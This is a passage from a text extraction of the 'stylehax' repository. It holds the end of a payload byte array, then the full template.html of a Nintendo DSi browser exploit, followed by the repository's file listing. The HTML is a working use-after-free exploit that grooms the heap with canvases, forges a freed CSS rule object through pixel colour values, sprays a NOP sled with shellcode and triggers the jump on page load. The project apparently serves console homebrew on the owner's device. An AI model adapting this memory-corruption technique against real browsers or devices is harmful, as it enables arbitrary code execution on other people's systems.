    0xAE, 0x0B, 0x31, 0x98, 0x26, 0x7C, 0x9A, 0x9D, 0x8C, 0xE1, 0x28, 0xEB,
    0x50, 0x0A, 0x0E, 0xCF, 0xB2, 0x5D, 0x81, 0x11, 0xBC, 0x8C, 0x58, 0x90,
    0x36, 0x59, 0x13, 0xD3, 0xD2, 0x6D, 0xD8, 0x0B, 0x12, 0x52, 0x22, 0x75,
    0xDD, 0x83, 0xF5, 0x9F, 0xAC, 0x70, 0xB3, 0x81, 0x10, 0x2D, 0x82, 0x27,
    0x59, 0x31, 0xFA, 0x9E, 0x46, 0x3A, 0x73, 0x98, 0xE3, 0xE5, 0xA8, 0x3D,
    0xA8, 0x02, 0xEA, 0x32, 0xEB, 0xF4, 0x30, 0x7F, 0x46, 0xC6, 0x05, 0x96,
    0xA1, 0xAD, 0x46, 0xED, 0x46, 0x5D, 0x66, 0xE1, 0xA1, 0x31, 0x43, 0x20,
    0xA2, 0x01, 0x80, 0xFF, 0x0D, 0xCA, 0x53, 0x7B, 0x22, 0x05, 0xB0, 0xE5,
    0xCC, 0x11, 0xEF, 0xC7, 0xBC, 0x1A, 0xCE, 0x73, 0x0D, 0x20, 0x3C, 0x1D,
    0x67, 0x01, 0x91, 0x99, 0xCC, 0x0F, 0xA7, 0xD8, 0x2E, 0x97, 0x80, 0x03,
    0x7B, 0x4C, 0x3B, 0x3E, 0xDA, 0x18, 0x3C, 0xA6, 0xE4, 0x23, 0x91, 0xD9,
    0xBA, 0x33, 0x01, 0x0C, 0xFA, 0x14, 0x8E, 0x08, 0x29, 0xD4, 0x10, 0x75,
    0x09, 0x12, 0x7F, 0x21, 0x72, 0xF2, 0x22, 0x04, 0x7A, 0x4C, 0x03, 0x52,
    0xA1, 0x25, 0x20, 0x82, 0x90, 0xFE, 0x5C, 0x4F, 0x33, 0xEB, 0xED, 0x60,
    0xA1, 0x42, 0xF9, 0x30, 0x1F, 0xE0, 0x62, 0x46, 0xE1, 0x69, 0x50, 0x29,
    0xEC, 0xE0, 0xC3, 0x93, 0x02, 0x01, 0xA0, 0xB3, 0x32, 0xFE, 0x27, 0x6D,
    0x51, 0xE3, 0xF7, 0x8F, 0xE4, 0x0A, 0xD6, 0x96, 0xE9, 0xB1, 0x66, 0x92,
    0xEB, 0x06, 0x40, 0xBD, 0xCF, 0xE8, 0x92, 0xE3, 0x4C, 0xBF, 0x10, 0x41,
    0xE0, 0x1E, 0x7E, 0x8D, 0x70, 0x8E, 0xAB, 0xF0, 0xB5, 0x0F, 0x2A, 0x39,
    0x1F, 0xD9, 0x0D, 0xF2, 0x05, 0x43, 0x0C, 0xF1, 0x03, 0x6A, 0xAD, 0x07,
    0x37, 0xD1, 0x15, 0x00, 0xFF, 0x3D, 0x2D, 0x09, 0x2E, 0xAF, 0x01, 0x18,
    0xA5, 0x36, 0x9D, 0x27, 0x1F, 0xE5, 0x67, 0xCB, 0x5F, 0x97, 0xA7, 0x2E,
    0x9F, 0x5C, 0xE7, 0x68, 0xDF, 0x60, 0xBE, 0x33, 0x10, 0x34, 0xB3, 0x2F,
    0x42, 0xCC, 0x0F, 0x24, 0x66, 0x35, 0x2D, 0x01, 0x97, 0x49, 0x14, 0xE5,
    0x40, 0x45, 0x19, 0xF5, 0x2C, 0x1F, 0xD9, 0xBC, 0x74, 0xCE, 0x58, 0xEE,
    0x50, 0xF8, 0x33, 0xE6, 0xDB, 0x6C, 0x2E, 0xF9, 0xD8, 0x03, 0xBF, 0x04,
    0x3C, 0x77, 0x08, 0x97, 0x34, 0xA4, 0x76, 0x1A, 0x40, 0x2D, 0xD7, 0x09,
    0x19, 0x8B, 0xF5, 0x37, 0xD0, 0x57, 0x23, 0xCC, 0x5C, 0xEC, 0x54, 0x01,
    0x33, 0x7F, 0x93, 0x42, 0xFA, 0xF9, 0xBB, 0x02, 0x45, 0xBC, 0x08, 0xFF,
    0x79, 0x1A, 0x2A, 0xF3, 0xD1, 0xFE, 0x05, 0x4E, 0xF0, 0x5C, 0x22, 0x00,
    0xF8, 0xE7, 0xBF, 0xC8, 0x11, 0x57, 0x90, 0x3D, 0xF9, 0x7A, 0x03, 0x83,
    0x1B, 0xCC, 0xA1, 0xFE, 0xEE, 0x82, 0x9F, 0xE5, 0x1C, 0xDF, 0x2F, 0xE1,
    0x15, 0x37, 0xC1, 0x78, 0x47, 0xC0, 0x46, 0x8F, 0x7B, 0xF2, 0xEA, 0x90,
    0x80, 0x42, 0xD0, 0x4F, 0x54, 0x2E, 0x4E, 0x44, 0x53, 0xBF, 0xA8, 0xFF,
    0xD8, 0x17, 0x27, 0x00, 0x06, 0xF3, 0x11, 0x24, 0x47, 0xB9, 0x9A, 0x8B,
    0x33, 0x10, 0x20, 0x0D, 0x65, 0xB9, 0x98, 0xB1, 0x22, 0x10, 0x20, 0x01,
    0x01, 0x29, 0x10, 0x22, 0x02, 0x00, 0x00, 0x04, 0xD4, 0x11, 0x00, 0x00};


================================================
FILE: template.html
================================================
<!-- stylehax by nathan 2023 -->
<!-- https://github.com/nathanfarlow/stylehax -->

<html>

<head>
   <title>stylehax</title>
   <style id="style1">
      @media all {
         .test {
            color: green;
         }
      }
   </style>
   <script>

      var shellcode = "{REPLACE_SHELLCODE_HERE}";

      function exploit() {
         var canvases = [];
         var N = 0x480;
         var obj_size = 0x50;

         // create a bunch of canvases for heap magic
         for (var i = 0; i <= N; i++) {
            var a = document.createElement("canvas");
            a.width = obj_size / 4;
            a.height = 1;
            canvases[i] = a;
            document.body.appendChild(a);
         }

         var styleSheet = document.getElementById('style1').sheet;
         var mediaRule = styleSheet.cssRules[0];

         // heap magic
         var arr = new Array();
         for (var i = 0; i <= N; i++) {
            c = canvases[i].getContext("2d");
            c.fillStyle = "rgb(0, 0, 0)";
            c.fillRect(0, 0, obj_size / 4, 1);
            arr[i] = c.getImageData(0, 0, obj_size / 4, 1).data[0];
         }

         try {
            // fails with syntax error and throws exception, 
            // but still adds some corrupted object to mediaRule.cssRules
            mediaRule.insertRule("@media screen { p { color: green; } };", mediaRule.cssRules.length);
         } catch (e) {

         }

         // empty mediaRule.cssRules
         mediaRule.deleteRule(0);
         mediaRule.deleteRule(0);

         // try to reclaim memory of freed object with jump shellcode
         // (more heap magic)
         var arr = new Array();
         for (var i = 0; i <= N; i++) {
            canvases[i].width = canvases[i].width;
            c = canvases[i].getContext("2d");
            // 0x2bc5120 -- address of nop sled
            c.fillStyle = "rgba(32, 81, 188, 0.0079)";
            c.fillRect(0, 0, 1, 1);
            // FE FF 13 EA -- b #0x500000 -- bootstrap: jumps to nop sled
            c.fillStyle = "rgba(254, 255, 19, 0.918)"
            c.fillRect(1, 0, obj_size / 4 - 1, 1);
            arr[i] = c.getImageData(0, 0, obj_size / 4, 1).data[0];
         }

         // 0x2bc5120 is effectively a nop, and is also the address of our nop sled
         var nops = "\u2051\ubc02";
         while (nops.length < 0x10000) {
            nops += nops;
         }

         // spray nopsleds and shellcode
         var a = new Array();
         for (var i = 0; i < 0x4; i++) {
            a[i] = nops + shellcode;
         }

         // more heap magic...
         for (var i = 0; i < 0x100; i++) {
            a[4 + i] = "" + i;
         }

         // accessing this property causes jump to bootstrap
         mediaRule.cssRules.length;
         alert("exploit failed. reboot and try again")
      }
   </script>
</head>

<body onload="exploit()">
   <div style="width: 250px">
      <p>stylehax by nathan</p>
      <p>exploit in progress... if you've waited > 30 seconds, reboot and try again!</p>
   </div>
</body>

</html>
Download .txt
gitextract_x694ungz/

├── Makefile
├── README.md
├── build_html.py
├── index.html
├── payload.c
├── payload.h
└── template.html
Download .txt
SYMBOL INDEX (4 symbols across 2 files)

FILE: build_html.py
  function make_payload_string (line 4) | def make_payload_string(payload):

FILE: payload.c
  type u8 (line 3) | typedef unsigned char u8;
  type u16 (line 4) | typedef unsigned short u16;
  function main (line 8) | int main() {
Condensed preview — 7 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (65K chars).
[
  {
    "path": "Makefile",
    "chars": 502,
    "preview": "include $(DEVKITARM)/ds_rules\n\nindex.html: build_html.py template.html payload.bin\n\tpython3 build_html.py template.html "
  },
  {
    "path": "README.md",
    "chars": 1140,
    "preview": "# stylehax\nA Nintendo DSi browser exploit. Put boot.nds on your SD card. Then, open the DSi browser and go to http://sty"
  },
  {
    "path": "build_html.py",
    "chars": 472,
    "preview": "import sys\n\n\ndef make_payload_string(payload):\n    assert len(payload) % 2 == 0\n    pairs = zip(payload[::2], payload[1:"
  },
  {
    "path": "index.html",
    "chars": 20101,
    "preview": "<!-- stylehax by nathan 2023 -->\n<!-- https://github.com/nathanfarlow/stylehax -->\n\n<html>\n\n<head>\n   <title>stylehax</t"
  },
  {
    "path": "payload.c",
    "chars": 423,
    "preview": "// adapted from shutterbug2000 and zoogie's memory pit\n\ntypedef unsigned char u8;\ntypedef unsigned short u16;\n\n#include "
  },
  {
    "path": "payload.h",
    "chars": 35182,
    "preview": "// from shutterbug2000 and zoogie's memory pit\n// this is minitwlpayload and can be found here\n// https://github.com/yel"
  },
  {
    "path": "template.html",
    "chars": 3061,
    "preview": "<!-- stylehax by nathan 2023 -->\n<!-- https://github.com/nathanfarlow/stylehax -->\n\n<html>\n\n<head>\n   <title>stylehax</t"
  }
]

About this extraction

This page contains the full source code of the nathanfarlow/stylehax GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 7 files (59.5 KB), approximately 43.3k tokens, and a symbol index with 4 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!